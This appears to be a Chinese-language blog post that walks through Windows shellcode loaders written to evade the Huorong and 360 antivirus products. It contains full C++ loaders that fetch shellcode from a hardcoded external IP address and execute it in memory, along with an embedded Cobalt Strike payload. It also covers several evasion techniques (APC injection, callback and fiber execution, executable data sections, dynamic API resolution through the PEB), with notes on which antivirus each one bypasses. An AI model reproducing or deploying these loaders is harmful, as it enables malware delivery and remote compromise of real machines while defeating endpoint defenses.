#include <iostream>
#include <string>
#include <vector>
#include <algorithm>
#include <cctype>
#pragma comment(lib, "winhttp.lib")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

// 解析带 \x 的字符串为字节数组
std::vector<unsigned char> parseEscapedShellcode(const std::string& input) {
std::vector<unsigned char> output;
for (size_t i = 0; i < input.length(); ++i) {
if (input[i] == '\\' && i + 3 < input.length() && input[i + 1] == 'x') {
std::string byteStr = input.substr(i + 2, 2);
unsigned char byte = static_cast<unsigned char>(std::stoul(byteStr, nullptr, 16));
output.push_back(byte);
i += 3; // skip over this sequence
}
}
return output;
}

int main() {
LPCWSTR host = L"101.42.13.105";
LPCWSTR path = L"/pd.txt";

std::string rawData;
DWORD size = 0, downloaded = 0;
LPSTR buffer;
BOOL success = FALSE;

HINTERNET hSession = WinHttpOpen(L"MyApp", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnect = WinHttpConnect(hSession, host, INTERNET_DEFAULT_HTTP_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path,
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES, 0);

if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0) &&
WinHttpReceiveResponse(hRequest, NULL)) {
do {
size = 0;
if (!WinHttpQueryDataAvailable(hRequest, &size) || size == 0)
break;
buffer = new char[size + 1];
ZeroMemory(buffer, size + 1);
if (WinHttpReadData(hRequest, buffer, size, &downloaded)) {
rawData.append(buffer, downloaded);
}
delete[] buffer;
} while (size > 0);
success = true;
}

WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);

if (!success) {
std::cerr << "[-] 下载失败" << std::endl;
return 1;
}

// 清除所有空白字符
rawData.erase(std::remove_if(rawData.begin(), rawData.end(),
[](unsigned char c) { return std::isspace(c); }), rawData.end());

std::cout << "读取内容字符串为:" << rawData << std::endl;

// 解析 \x 表示的字符串为字节数组
std::vector<unsigned char> shellcode = parseEscapedShellcode(rawData);

// 分配内存并执行
LPVOID addr = VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(addr, shellcode.data(), shellcode.size());
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}

image-20250520210851607

Shellcode加载器处理

指针运行
((void(*)())addr)()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <windows.h>  //导入windows api和一些常量
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口

//main函数,程序入口函数
void main() {
/* length: 892 bytes */
unsigned char buf[] = "\xfc\x48\x83...";


//1、申请内存
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

//2、拷贝 shellcode 到内存
memcpy(addr, buf, sizeof(buf));

//3、使用函数指针直接执行
((void(*)())addr)();
}
1
2
3
4
((void(*)())addr)(); 
//等价于:
void (*func)() = (void(*)())adC++dr;
func();

将addr强制转换为一个函数指针,无参数无返回值。

转换后立即调用该函数,跳转并执行内存地址addr处的指令 -> 即shellcode

正常对shellcode不做处理可以正常上线,但是使用sgn处理过的shellcode就无法上线了。。有些奇怪。

修改内存属性

有些杀软会查杀程序中是否使用了VirtualAlloc来申请内存,故可以不申请内存,直接执行unsigned char buf[]的内存中的shellcode

1
2
3
4
5
6
7
8
9
#include <windows.h>  //导入windows api和一些常量
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口

//main函数,程序入口函数
void main() {
/* length: 892 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
((void(*)()) & buf) ();
}

但是还不够,因为unsigned char buf[]处的内存原有属性可能不可执行,需要修改内存属性,shellcode换成CS:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <windows.h>  //导入windows api和一些常量
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口

//main函数,程序入口函数
void main() {
/* length: 892 bytes */
unsigned char buf[] = "\xe8\xa0\x03\x00\x00\xeb\x04\xf2\xa7\x92\x97\x40\x11\xcc\xf4\x0d\x1c\x07\xff\x11\x00\x00\xa9\xbc\xcc\xfe\xdf\x00\x44\x30\x24\x08\x44\x02\x24\x08\xe2\xf6\x40\xed\xd0\xfa\xf6\xb8\xb3\x97\x97\x7f\xb7\xb7\xb7\x37\x74\xa5\xc4\x10\xa0\xcd\x1b\x13\x82\x8e\xeb\x93\x94\x06\x56\x18\x13\x31\xa9\xdd\x56\xc4\xd4\x9a\xed\x1f\x4f\xf7\xf6\xbd\xe7\x2d\x1e\xaf\x56\xdc\xed\x2d\x79\x85\x14\x64\x16\x3a\x98\xd9\x86\x4f\x40\x01\xfe\xbf\x9d\x4c\x9c\xdd\x0c\x32\x35\x67\x37\x38\x02\xbe\xf4\xf5\xd9\xbf\xbe\xb6\xa8\xa3\x59\xc8\xa4\x2f\xaf\x27\x27\x27\x97\xdf\x5a\x52\xd8\x3f\x77\x76\x06\x40\xcb\x73\x63\x17\x1c\x1c\xba\xf3\xf2\xdc\xbf\xe9\x5d\x10\xd9\x86\xed\xd9\x41\x09\xe4\xa8\x85\x22\xeb\x43\x72\xaa\x84\xc5\xf2\x23\xac\xed\xea\xcb\xf3\xeb\x5c\x2d\x5d\x5e\xca\xee\xe4\x51\x46\x57\x92\xaa\xea\xa8\xa3\x9b\x3f\x74\x75\x59\xbf\xf8\x6b\x57\x9f\xdb\x50\xe8\xe2\xab\x0a\xd8\x85\x0e\x0a\x72\x38\xb9\x69\x88\xce\x6f\x87\xd9\x7c\xa4\xd5\x0d\xaa\xf3\x02\x58\x0e\x4d\xa1\x01\xbc\x10\xef\xef\x37\x44\x99\x33\x7b\xcc\x1c\xe9\x58\x57\x56\x11\x88\xe2\xd0\x65\x13\x92\xe3\x4d\xd8\x34\xa9\xdd\xdd\x10\xb4\xfd\x68\x0e\x30\x39\xc6\x77\xcd\x7d\xc2\xda\x21\xdc\x89\xa1\x0e\x37\x7f\xae\x62\xcf\xfe\xbc\xf1\x3e\xf7\x36\x64\x85\xd5\x60\x9a\x1c\xa8\x8d\xd4\x83\x80\x8b\xc4\x1e\x44\xcd\x8a\xab\xd3\x6d\x4f\x4f\x4f\xe0\xc1\x86\x27\x74\xb5\x10\x74\x77\xb4\xe5\x50\xc4\x83\xf4\x63\x59\x04\x0d\xd4\x69\xa2\xe8\x61\x10\x16\x87\x45\x0a\x73\x13\x1c\xad\x40\xc2\xaa\xaa\x28\x60\xc0\x12\xbe\xff\xb1\x50\xf9\xa7\x62\x1d\xc8\x7e\xf7\xa1\xe5\x60\x03\x83\xd5\xdf\x70\x26\x4f\x3e\x64\xc9\x83\xc4\x83\xbb\xba\xb9\xb8\xb7\xf8\xc9\xfc\x0e\x5a\xdb\x19\x28\x0e\xe0\x63\x12\xc7\x42\x7c\x6b\xcc\x51\x50\x50\x40\xf6\xf5\x24\x23\x97\x1b\x1a\x1a\xc4\x8f\x9a\x6b\x8f\x8e\x8e\x4e\xa6\xfa\xf9\xf8\xf7\x16\x99\xfa\x43\x7b\x73\xf0\x0c\x77\x05\xe7\x24\x77\x12\x9a\xdd\xe1\xa9\xa4\x70\x5f\x98\xfe\x4e\x9b\xa7\x73\xf4\x25\x50\xce\x67\x45\x0d\xf5\x3f\x75\xb5\x9a\x9c\xf5\x4e\xbd\x59\xa3\x19\x5c\xc9\xdc\x86\x54\x2d\xee\xd1\xee\xda\xf1\x46\x00\x46\xdd\xee\x77\x4f\x54\x4e\x5e\x49\xbe\x5b\x6a\xd6\x43\xe2\x10\xb9\xb0\x0a\x21\x99\x2a\x91\xf0\x78\x55\xca\x2d\xb4\x12\x16\x2c\xf2\x3f\xac\x04\x6d\xf9\x55\x2a\xe5\x8c\x42\x72\x02\xa4\x37\x86\x0b\x7b\xd2\x54\xb9\x03\x6f\xf4\x8f\x2f\x5c\x8f\xc4\x41\x11\xd4\xfa\xb4\x4f\x4f\xc6\x2f\xb9\x01\x80\xf7\x44\x58\x96\x82\x5a\x10\x3c\xe9\x92\x0c\x43\xe2\x49\x7f\x2b\xd0\xc8\x58\xa8\x39\x9d\xe4\x62\xc8\x87\xaa\x64\x22\xd9\xf5\x27\x56\x9f\x98\x5d\x64\x9d\xd3\x0e\x0f\x14\x05\x0f\xef\x8d\xca\x4c\x9b\xd3\x8e\x2d\xe9\xd7\xa8\x19\x9a\x90\xc2\xd8\x98\xed\x6e\x5f\xbe\x1e\x99\x7c\x2f\x38\x77\xfb\x05\x0b\xc8\x40\xfa\xb2\x51\x4b\x8f\xdf\x34\x0c\xa9\xfe\xa8\xfd\xa0\x96\x93\x32\x9d\x46\x0c\x73\x59\xd9\xb2\xde\xca\xc0\x7d\x16\xef\xca\x6a\xaa\x28\xdd\xa8\x25\x2b\xd2\x0f\xb0\xbf\x68\x4d\x15\x8c\xdc\x04\x77\x33\xf9\xe3\xf8\xba\xd5\x46\x64\x6a\x9a\xec\x9d\x0c\x86\x51\x94\xcf\x68\x72\xa8\xc2\x78\x21\xc2\x42\x96\x4c\xda\x0a\xdd\xfd\xf2\x15\x09\x88\x14\xc6\xfd\x1e\x42\x2a\x94\x61\xcb\x14\x69\x7e\xde\x1e\x5f\x80\x17\x9e\x9d\xe1\x50\xb4\x54\x67\xbe\x37\x59\x49\x38\x69\x8a\x74\x09\xcd\xaf\x5c\x00\x0d\xe3\x91\xeb\x12\x96\xea\xa5\xaf\x30\xd5\xe5\xd1\x13\xff\xb9\x56\x7b\xe0\x1d\x78\xf6\x0d\x6d\xf8\x89\x91\x91\x45\xa3\x78\xde\x19\x18\xe2\x71\x48\xed\xd8\x96\xac\x63\xbf\xd2\x48\xfc\xd9\x65\x24\xf4\x3a\x46\x16\xd0\x3a\xb8\x85\xbb\x23\x56\xc8\x60\x1f\xca\x60\x41\x74\xce\xce\xce\x8e\x0c\x2d\x95\x95\x85\x85\x05\x32\x0b\x4b\x4b\x4b\x4b\xea\xa0\xf0\x52\xf9\xe2\x9d\x48\xfe\x49\x94\x37\x7f\xe8\x8f\xb7\xbc\x4d\xf5\x78\x20\x11\xa9\xa9\x89\x89\x09\x3e\x47\x3c\x79\xa3\x8d\x1b\x52\x4e\x09\xdc\x92\x89\x0d\x2d\x28\x00\x08\x3e\x46\xc1\x36\x7c\x79\xb0\xb5\x75\xfe\x89\x21\x79\x91\xd1\xd4\xd4\xd4\xd4\xd4\x02\x31\xa5\xc0\xc1\xc0\x3f\xee\x9c\x51\x7f\x2b\xc5\x8b\xb4\x77\x19\xc8\xf6\xc3\xb3\x75\x2b\x23\xeb\x04\x9d\x4f\x1d\xec\x41\x5b\xeb\x04\xb5\x9d\x0a\xc3\x41\x81\x73\x06\x01\xa5\x5e\xbc\x48\xff\xcf\x48\xff\xc7\xeb\x04\x4f\xa3\x63\x9e\x41\xc1\x4b\x0a\x2a\xeb\x04\xcd\xd4\xa6\x89\x41\xc1\x43\x0e\x9b\x41\x81\x43\x12\x49\x3c\x01\x20\x41\xff\xe3";

DWORD oldProject = 0;
//修改内存属性为可读可写可执行
VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProject);
((void(*)()) & buf) ();
}

使用sgn对shellcode进行加密后对火绒免杀

image-20250521152223304

火绒貌似不用测了,通过近击此对火绒免杀的测试,火绒只看shellcode,只要对shellcode的加密到位,火绒就不会报毒。

又用360进行了测试,360免杀

ff0ac7662708b5e475463aa967dc7c05

网络分离 + 修改内存属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include <windows.h>
#include <winhttp.h>
#include <iostream>

#pragma comment(lib, "winhttp.lib")

// 定义全局缓冲区
const size_t MAX_BUFFER_SIZE = 1024 * 400; // 假设最大缓冲区大小为1MB
unsigned char buf[MAX_BUFFER_SIZE];
size_t bufOffset = 0; // 当前缓冲区写入位置
HINTERNET winhttp_init() {
// 初始化 WinHTTP 会话
HINTERNET hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSession) {
std::cerr << "Failed to open WinHTTP session." << std::endl;
}
// 连接到服务器
HINTERNET hConnect = WinHttpConnect(hSession, L"101.42.13.105", 80, 0);
if (!hConnect) {
std::cerr << "Failed to connect to server." << std::endl;
WinHttpCloseHandle(hSession);
}
// 创建 HTTP 请求
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/1.txt",
NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
if (!hRequest) {
std::cerr << "Failed to create HTTP request." << std::endl;
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
}
// 发送请求
if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) {
std::cerr << "Failed to send HTTP request." << std::endl;
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
}
// 接收响应
if (!WinHttpReceiveResponse(hRequest, NULL)) {
std::cerr << "Failed to receive HTTP response." << std::endl;
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
}
return hRequest;
}
void datacopy(HINTERNET hRequest, unsigned char tmpbuf[]) {
// 读取响应数据
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
do {
// 检查可用数据大小
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
std::cerr << "Error querying data size." << std::endl;
break;
}

// 分配缓冲区
unsigned char* pszOutBuffer = new unsigned char[dwSize + 1];
if (!pszOutBuffer) {
std::cerr << "Out of memory." << std::endl;
break;
}

// 读取数据
ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {
std::cerr << "Error reading data." << std::endl;
}
else {
// 确保不会超出全局缓冲区大小
if (bufOffset + dwDownloaded > MAX_BUFFER_SIZE) {
std::cerr << "Global buffer overflow!" << std::endl;
delete[] pszOutBuffer;
break;
}

// 将数据写入全局缓冲区
memcpy(tmpbuf + bufOffset, pszOutBuffer, dwDownloaded);
bufOffset += dwDownloaded;

// 在调试时打印已接收的数据大小
std::cout << "Received " << dwDownloaded << " bytes." << std::endl;
}

delete[] pszOutBuffer;

} while (dwSize > 0);
}
int main() {


HINTERNET hRequest = winhttp_init();
datacopy(hRequest, buf);
DWORD oldProtect = 0;
if (!VirtualProtect(buf, bufOffset, PAGE_EXECUTE_READ, &oldProtect)) {
return -1;
}
((void(*)(void)) & buf)();

return 0;
}

也可以过360免杀

image-20250521201424619

第二天又测试了以下火绒,发现如果请求的是http://101.42.13.105/pd.bin就会杀,但是请求.txt就不杀,那么只需要把.bin后缀改成.txt即可。

修改data段属性

修改data段属性可以避免使用VirtualProtect这个敏感的windows api函数

因为全局变量默认存储在data段,那么将data段的属性设置为”可读可写可执行”即可。

1
2
3
4
5
6
7
8
9
10
11
#include <windows.h>  //导入windows api和一些常量
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口
#pragma comment(linker, "/section:.data,RWE")

unsigned char buf[] = "\xe8\xa0\x03\x00...";


//main函数,程序入口函数
void main() {
((void(*)()) & buf) ();
}

火绒和360报毒

新增数据段
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <windows.h>  //导入windows api和一些常量
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口
#pragma data_seg("vdata")
unsigned char buf[] = "\xe8\xa0\x03\x00...";
#pragma data_seg()
#pragma comment(linker, "/section:vdata,RWE")



//main函数,程序入口函数
void main() {
((void(*)()) & buf) ();
}

火绒和360报毒

堆加载

除了修改数据段内存属性外,还可以通过HeapCreate api获取一个具有执行权限的堆,并在其中分配一块内存,并将shellcode复制到这块内存中,这样可以规避VirtualProtect、VirtualAlloc这些windows api敏感函数

1
2
3
4
5
6
7
8
9
10
11
#include <windows.h>  //导入windows api和一些常量
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口

unsigned char buf[] = "\xe8\xa0\x03...";
//main函数,程序入口函数
void main() {
HANDLE heapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 0);
char* addr = (char*)HeapAlloc(heapHandle, HEAP_ZERO_MEMORY, sizeof(buf));
memcpy(addr, buf, sizeof(buf));
((void(*)()) addr)();
}

火绒、360报毒

APC注入运行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <windows.h>  //导入windows api和一些常量
#include <stdio.h>
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口

typedef DWORD(WINAPI* pNtTestAlert)();

//main函数,程序入口函数
void main() {
unsigned char buf[] = "\xe8\xa0\x03...";
DWORD oldProject;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProject);

//获取NtTestAlert的函数地址
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));

QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)buf, GetCurrentThread(), NULL);
NtTestAlert();
}

火绒过,360杀

回调函数运行
EnumDateFormatsA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <windows.h>  //导入windows api和一些常量
#include <stdio.h>
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口

typedef DWORD(WINAPI* pNtTestAlert)();

//main函数,程序入口函数
void main() {
unsigned char buf[] = "\xe8\xa0\x03...";
DWORD oldProject;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProject);
//回调函数运行
EnumDateFormatsA((DATEFMT_ENUMPROCA)&buf, NULL, NULL);
}

火绒过、360杀

EnumUILanguages
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <windows.h>  //导入windows api和一些常量
#include <stdio.h>
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口

typedef DWORD(WINAPI* pNtTestAlert)();

//main函数,程序入口函数
void main() {
unsigned char buf[] = "\xe8\xa0\x03...";
DWORD oldProject;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProject);
//回调函数运行
EnumUILanguages((UILANGUAGE_ENUMPROCW)&buf, NULL, NULL);
}

火绒过、360杀

创建纤程运行

纤程是一种用户级别的线程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <windows.h>  //导入windows api和一些常量
#include <stdio.h>
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口

typedef DWORD(WINAPI* pNtTestAlert)();

//main函数,程序入口函数
void main() {
unsigned char buf[] = "\xe8\xa0\x03...";
DWORD oldProject;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProject);
//将当前线程转换为纤程
ConvertThreadToFiber(NULL);
//创建一个纤程对象,shellcode为纤程入口点,使用默认大小和无标志位
void* bufFiber = CreateFiber(0,(LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);
//切换到新创建的纤程,开始执行buf
SwitchToFiber(bufFiber);
//执行完毕后删除纤程对象
DeleteFiber(bufFiber);
}

火绒过、360杀

动态api函数加载

不直接使用形如 VirtualAlloc 的 Windows API了,而是通过 GetProcAddress 动态获取,绕过对敏感 Windows API的检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <windows.h>  //导入windows api和一些常量
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口

//VirtualAlloc
typedef LPVOID(WINAPI* myVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

//CreateThread
typedef HANDLE(WINAPI* myCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

//RtlMoveMemory
typedef VOID(WINAPI* vRtlMoveMemory)(
IN VOID UNALIGNED* Destination,
IN CONST VOID UNALIGNED* Source,
IN SIZE_T Length
);

//WaitForSingleObject
typedef DWORD(WINAPI* dwWaitForSingleObject)(
HANDLE hHandle, // handle to object
DWORD dwMilliseconds // time-out interval
);



/* length: 892 bytes */
unsigned char buf[] = "\xe8\xa0\x03...";


//main函数,程序入口函数
void main() {
//获取相关函数地址
myVirtualAlloc myVT = (myVirtualAlloc)(GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "VirtualAlloc"));
myCreateThread myCT = (myCreateThread)(GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "CreateThread"));
vRtlMoveMemory mvMemory = (vRtlMoveMemory)(GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "RtlMoveMemory"));
dwWaitForSingleObject waitFSO = (dwWaitForSingleObject)(GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "WaitForSingleObject"));

//1、申请内存
LPVOID addr = myVT(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

//2、拷贝 shellcode 到内存
mvMemory(addr, buf, sizeof(buf));



//3、执行内存中的shellcode
//创建线程执行
HANDLE hThread = myCT(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
//等待线程运行
waitFSO(hThread, -1);
//关闭线程
CloseHandle(hThread);
}

更隐蔽一些隐藏 GetProcAddress,这样导入表中就发现不了敏感 Windows API函数了。

首先新建项

1
GetInitializationOrderModuleList.asm

image-20250523095738676

在 GetInitializationOrderModuleList.asm 中添加代码:

1
2
3
4
5
6
7
8
.CODE
GetInInitializationOrderModuleList PROC
mov rax,gs:[60h] ; PEB,注意,这里不能写0x60
mov rax,[rax+18h] ; PEB_LDR_DATA
mov rax,[rax+30h] ; InInitializationOrderModuleList
ret ; 这里不能写retn
GetInInitializationOrderModuleList ENDP
END

编辑属性

image-20250523095937068

image-20250523100059747

1
2
命令行:ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm
输出:$(IntDir)%(FileName).obj

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include<Windows.h>
#include<stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
// UNICODE_STRING 结构体定义
typedef struct _UNICODE_STRING {
USHORT Length; //表示字符串中的字符数,由于它是unicode形式的字符,因此每个字符占两个字节
USHORT MaximumLength; //分配的内存空间的大小,以字节为单位
PWSTR Buffer; //表示指向存储Unicode字符串的字符数组的指针
} UNICODE_STRING, * PUNICODE_STRING;
// 声明获取 InInitializationOrderModuleList 链表的函数
extern "C" PVOID64 __stdcall GetInInitializationOrderModuleList();
// 获取 Kernel32.dll 的基地址
HMODULE getKernel32Address() {
// 获取 InInitializationOrderModuleList 链表
LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList();
while (1) {
// 获取 FullDllName 成员
UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);
// 如果 Buffer 中的第 13 个字符为空字符,则已找到 Kernel32.dll
if (*(FullDllName->Buffer + 12) == '\0') {
// 返回模块的基地址
return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));
}
pNode = pNode->Flink;
}
}

// 获取 GetProcAddress 函数的地址
DWORD64 getGetProcAddress(HMODULE hKernal32) {
// 获取 DOS 头
PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32;
// 获取 NT 头
PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr +
baseAddr->e_lfanew);
// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)
((LONG64)baseAddr + pImageNt -> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 获取导出函数地址数组、导出函数名数组和导出函数序号数组
PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir -> AddressOfFunctions);
PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames);
PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir -> AddressOfNameOrdinals);
// 遍历导出函数
for (size_t i = 0; i < exportDir->NumberOfNames; i++) {
// 获取当前函数地址
LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr +
RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]);
// 获取当前函数名地址
PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]);
// 如果当前函数名是 "GetProcAddress",返回其地址
if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
return F_va_Tmp;
}
}
}

// 定义函数指针类型
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T,
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);

int main() {
// 定义包含 shellcode 的缓冲区
unsigned char sc[] = "\xe8\xa0\x03...";
// 获取 Kernel32.dll 的基地址和GetProcAddress函数地址
HMODULE hKernal32 = getKernel32Address(); // 获取Kernel32.dll的基地址
pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 获取GetProcAddress函数地址

//获取其他所需API函数地址
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32,
"VirtualProtect");
pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32,
"CreateThread");
pWaitForSingleObject WaitForSingleObject =
(pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
//修改shellcode缓冲区的内存保护属性,以便执行
DWORD oldProtect;
VirtualProtect((LPVOID)sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &oldProtect);
//创建新线程执行shellcode并等待其执行完成
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)sc, NULL,
0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}

